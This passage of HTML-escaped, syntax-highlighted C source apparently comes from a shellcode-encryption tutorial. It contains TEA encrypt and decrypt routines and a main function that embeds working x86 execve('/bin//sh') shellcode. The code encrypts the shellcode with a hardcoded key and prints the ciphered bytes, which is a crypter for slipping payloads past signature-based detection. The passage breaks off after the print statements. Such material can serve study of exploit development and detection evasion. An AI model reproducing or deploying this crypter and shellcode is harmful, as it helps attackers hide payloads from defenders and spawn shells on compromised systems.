	&lt;span class=&quot;n&quot;&gt;sum&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;delta&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x9e3779b9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;--&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;sum&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;delta&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;z&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;z&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;delta&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x9e3779b9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;sum&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;delta&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;--&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	     	&lt;span class=&quot;n&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; 
	     	&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;z&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	     	&lt;span class=&quot;n&quot;&gt;sum&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;delta&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;  
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; 
	&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;z&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;  
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/* Character Array Functions */&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;codestr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;datastr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;keystr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;datastr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;keystr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;datastr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;datastr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;decodestr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;datastr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;keystr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;datastr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;keystr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;datastr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;datastr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; \
	&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//execve-stack&lt;/span&gt;
	
	&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;last&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;512&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;iloveshellcodess&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	
	&lt;span class=&quot;n&quot;&gt;str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;codestr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;\Ciphered shellcode size: %d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;\Ciphered shellcode:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

